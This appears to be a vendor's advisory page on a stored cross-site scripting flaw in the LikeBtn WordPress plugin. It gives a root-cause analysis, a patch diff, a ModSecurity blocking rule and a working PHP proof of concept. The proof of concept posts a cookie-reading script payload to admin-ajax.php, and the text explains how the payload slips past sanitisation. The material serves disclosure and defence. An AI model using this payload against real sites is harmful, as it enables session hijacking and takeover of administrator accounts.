Published : December 4, 2026

CVE-2026-141423: Like Button Rating ♥ LikeBtn <= 2.6.66 Unauthenticated Stored Cross-Site Scripting via 'item' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.6.66
Patched Version 2.6.67
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-141423: This is an unauthenticated Stored Cross-Site Scripting vulnerability in the Like Button Rating ♥ LikeBtn WordPress plugin versions up to 2.6.66. The flaw resides in the bulk statistics handler, which processes the ‘item[]’ POST parameter without proper sanitization. An attacker can inject a payload that is later rendered unsafely inside a javascript: href attribute in the admin statistics page, leading to script execution when an administrator interacts with the affected element. The CVSS score is 6.1 (Medium), reflecting the need for admin action.

Root Cause: The vulnerability stems from two related issues. First, the function that handles bulk statistics actions (likely `likebtn_stats_bulk_action` or similar, called on `init` for every admin-ajax.php request) fails to verify the user’s capabilities and nonce before processing the ‘item’ array. The patch adds a capability check `current_user_can(‘manage_options’)` and a nonce check via `check_admin_referer`. Second, the stored ‘item’ value, which is sanitized with `sanitize_text_field` (insufficient for XSS in this context), is later output into an `href` attribute using `esc_attr` with double_encode set to false. This preserves HTML numeric entities such as `'`. When the browser renders the link, it decodes `'` to a single quote, breaking out of the JavaScript string context inside `statisticsEdit()`. The patch fixes the output by wrapping the vulnerable variables with `esc_js` inside `esc_attr`, ensuring proper JavaScript context escaping.

Exploitation: An unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with an action that triggers the bulk statistics function (e.g., `action=likebtn_stats_bulk_action` or similar, as the exact action name is not revealed in the diff but is likely the one that processes bulk actions). The ‘item[]’ parameter contains a payload such as `’);alert(document.cookie);//` or a more obfuscated variant using HTML entities. The payload is stored in the plugin’s statistics table. When an administrator later views the statistics page and clicks on the like/dislike link for that item, the malicious JavaScript executes in the admin’s browser. The attacker must craft the payload to survive `sanitize_text_field` and the `esc_attr` with double_encode=false, using entities like `'` to inject the closing quote.

Patch Analysis: The patch introduces several security fixes. It adds a nonce field to the statistics form and a `check_admin_referer` call in the bulk action handler, preventing CSRF. It adds a capability check `current_user_can(‘manage_options’)` to ensure only administrators can perform bulk actions. It validates that `$_POST[‘item’]` is an array to prevent type juggling. Most importantly for the XSS, it wraps the vulnerable output variables (`$entity_name`, `$statistics_item->post_id`, `$statistics_item->likes`, `$statistics_item->dislikes`) with `esc_js` before `esc_attr`. `esc_js` escapes single quotes and other JavaScript metacharacters, so even if the browser decodes HTML entities, the JavaScript string cannot be broken out of. The patch also casts `$_POST[‘value’]` to int in another function, a hardening measure.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, creation of malicious admin accounts, installation of backdoors, or site takeover. The requirement for admin interaction (clicking the link) lowers the severity but does not eliminate the risk, as social engineering can trick administrators into clicking. The vulnerability is unauthenticated, meaning any visitor can plant the payload.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/likebtn-like-button/likebtn_like_button.php
+++ b/likebtn-like-button/likebtn_like_button.php
@@ -3,7 +3,7 @@
   Plugin Name: Like Button Rating ♥ LikeBtn
   Plugin URI: https://likebtn.com/en/wordpress-like-button-plugin
   Description: Add Like button to posts, pages, comments, WooCommerce, BuddyPress, bbPress, custom post types! Sort content by likes! Get instant stats and insights!
-  Version: 2.6.66
+  Version: 2.6.67
   Text Domain: likebtn-like-button
   Author: LikeBtn
   Author URI: https://likebtn.com
@@ -14,7 +14,7 @@
 // ini_set('error_reporting', E_ALL);

 // Plugin version
-define('LIKEBTN_VERSION', '2.6.66');
+define('LIKEBTN_VERSION', '2.6.67');
 // Current DB version
 define('LIKEBTN_DB_VERSION', 20);

@@ -2680,6 +2680,7 @@
         <br/>
         <form method="post" action="" id="stats_actions_form">
             <input type="hidden" name="bulk_action" value="" id="stats_bulk_action" />
+            <?php wp_nonce_field('likebtn_bulk_action', 'likebtn_bulk_nonce'); ?>
         <?php if (count($statistics) && $p->total_pages > 0): ?>
             <div class="tablenav">
                 <input type="button" class="button-secondary likebtn_ttip" onclick="likebtnStatsBulkAction('reset', '<?php echo (int)get_option('likebtn_plan') ?>', '<?php _e("The votes count can not be recovered after resetting. Are you sure you want to reset likes and dislikes for the selected item(s)?", 'likebtn-like-button'); ?>')" value="<?php _e('Reset', 'likebtn-like-button'); ?>" title="<?php _e('Set to zero number of likes and dislikes for selected items', 'likebtn-like-button'); ?>">
@@ -2816,14 +2817,14 @@
                             <?php if ($blogs && (int)$statistics_item->blog_id != 0 && $statistics_item->blog_id != $blog_id): ?>
                                 <?php echo esc_html($statistics_item->likes); ?>
                             <?php else: ?>
-                                <a href="javascript:statisticsEdit('<?php echo esc_attr($entity_name) ?>', '<?php echo esc_attr($statistics_item->post_id); ?>', 'like', '<?php echo esc_attr($statistics_item->likes); ?>', '<?php echo esc_attr(get_option('likebtn_plan')); ?>', '<?php _e('Enter new value:', 'likebtn-like-button') ?>', '<?php _e('Upgrade your website plan to the ULTRA plan to use the feature', 'likebtn-like-button') ?>', '<?php _e('Error occured. Please, try again later.', 'likebtn-like-button') ?>', '<?php echo  wp_create_nonce('likebtn_edit_item'); ?>');void(0);" title="<?php _e('Click to change', 'likebtn-like-button') ?>" class="item_like likebtn_ttip"><?php echo esc_attr($statistics_item->likes); ?></a>
+                                <a href="javascript:statisticsEdit('<?php echo esc_attr(esc_js($entity_name)) ?>', '<?php echo esc_attr(esc_js($statistics_item->post_id)); ?>', 'like', '<?php echo esc_attr(esc_js($statistics_item->likes)); ?>', '<?php echo esc_attr(get_option('likebtn_plan')); ?>', '<?php _e('Enter new value:', 'likebtn-like-button') ?>', '<?php _e('Upgrade your website plan to the ULTRA plan to use the feature', 'likebtn-like-button') ?>', '<?php _e('Error occured. Please, try again later.', 'likebtn-like-button') ?>', '<?php echo  wp_create_nonce('likebtn_edit_item'); ?>');void(0);" title="<?php _e('Click to change', 'likebtn-like-button') ?>" class="item_like likebtn_ttip"><?php echo esc_attr($statistics_item->likes); ?></a>
                             <?php endif ?>
                         </td>
                         <td>
                             <?php if ($blogs && (int)$statistics_item->blog_id != 0 && $statistics_item->blog_id != $blog_id): ?>
                                 <?php echo esc_html($statistics_item->dislikes); ?>
                             <?php else: ?>
-                                <a href="javascript:statisticsEdit('<?php echo esc_attr($entity_name) ?>', '<?php echo esc_attr($statistics_item->post_id); ?>', 'dislike', '<?php echo esc_attr($statistics_item->dislikes); ?>', '<?php echo esc_attr(get_option('likebtn_plan')); ?>', '<?php _e('Enter new value:', 'likebtn-like-button') ?>', '<?php _e('Upgrade your website plan to the ULTRA plan to use the feature', 'likebtn-like-button') ?>', '<?php _e('Error occured. Please, try again later.', 'likebtn-like-button') ?>', '<?php echo  wp_create_nonce('likebtn_edit_item'); ?>');void(0);" title="<?php _e('Click to change', 'likebtn-like-button') ?>" class="item_dislike likebtn_ttip"><?php echo esc_attr($statistics_item->dislikes); ?></a>
+                                <a href="javascript:statisticsEdit('<?php echo esc_attr(esc_js($entity_name)) ?>', '<?php echo esc_attr(esc_js($statistics_item->post_id)); ?>', 'dislike', '<?php echo esc_attr(esc_js($statistics_item->dislikes)); ?>', '<?php echo esc_attr(get_option('likebtn_plan')); ?>', '<?php _e('Enter new value:', 'likebtn-like-button') ?>', '<?php _e('Upgrade your website plan to the ULTRA plan to use the feature', 'likebtn-like-button') ?>', '<?php _e('Error occured. Please, try again later.', 'likebtn-like-button') ?>', '<?php echo  wp_create_nonce('likebtn_edit_item'); ?>');void(0);" title="<?php _e('Click to change', 'likebtn-like-button') ?>" class="item_dislike likebtn_ttip"><?php echo esc_attr($statistics_item->dislikes); ?></a>
                             <?php endif ?>
                         </td>
                         <td><?php echo esc_html($statistics_item->likes_minus_dislikes); ?></td>
@@ -3551,10 +3552,17 @@
     $entity_name = _likebtn_statistics_entity();

     // Resettings
-    if (empty($_POST['bulk_action']) || empty($_POST['item']) ) {
+    if (empty($_POST['bulk_action']) || empty($_POST['item']) || !is_array($_POST['item'])) {
         return false;
     }

+    // Bulk actions modify statistics: only administrators are allowed to run them.
+    // This function is called on init for every admin-ajax.php request including unauthenticated ones.
+    if (!current_user_can('manage_options')) {
+        return false;
+    }
+    check_admin_referer('likebtn_bulk_action', 'likebtn_bulk_nonce');
+
     $items = array();
     foreach ($_POST['item'] as $item) {
         $items[] = sanitize_text_field($item);
@@ -5368,7 +5376,7 @@

     $value = '';
     if (isset($_POST['value'])) {
-        $value = abs($_POST['value']);
+        $value = abs((int)$_POST['value']);
     }

     require_once(dirname(__FILE__) . '/likebtn_like_button.class.php');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-141423
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026141423,phase:2,deny,status:403,chain,msg:'CVE-2026-141423 via LikeBtn AJAX bulk action XSS',severity:'CRITICAL',tag:'CVE-2026-141423'"
  SecRule ARGS_POST:action "@streq likebtn_stats_bulk_action" "chain"
    SecRule ARGS_POST:item "@rx '|x27" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-141423 - Like Button Rating ♥ LikeBtn <= 2.6.66 - Unauthenticated Stored Cross-Site Scripting via 'item' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: breaks out of JavaScript string and executes alert
// The payload uses HTML entities to survive sanitize_text_field and esc_attr with double_encode=false
$payload = "');alert(document.cookie);//";

// The action name is not explicitly in the diff. Based on the plugin's structure, it is likely 'likebtn_stats_bulk_action' or similar.
// We use a generic action name that might trigger the vulnerable function. Adjust if needed.
$action = 'likebtn_stats_bulk_action'; // Hypothetical, adjust based on actual plugin code

// Prepare POST data
$post_data = array(
    'action' => $action,
    'bulk_action' => 'reset', // any non-empty value
    'item' => array($payload),
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: The payload is now stored. An administrator must visit the statistics page and click the like/dislike link for the item to trigger the XSS.
// The exact action name and parameter names may vary; inspect the plugin's source for the actual hook.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.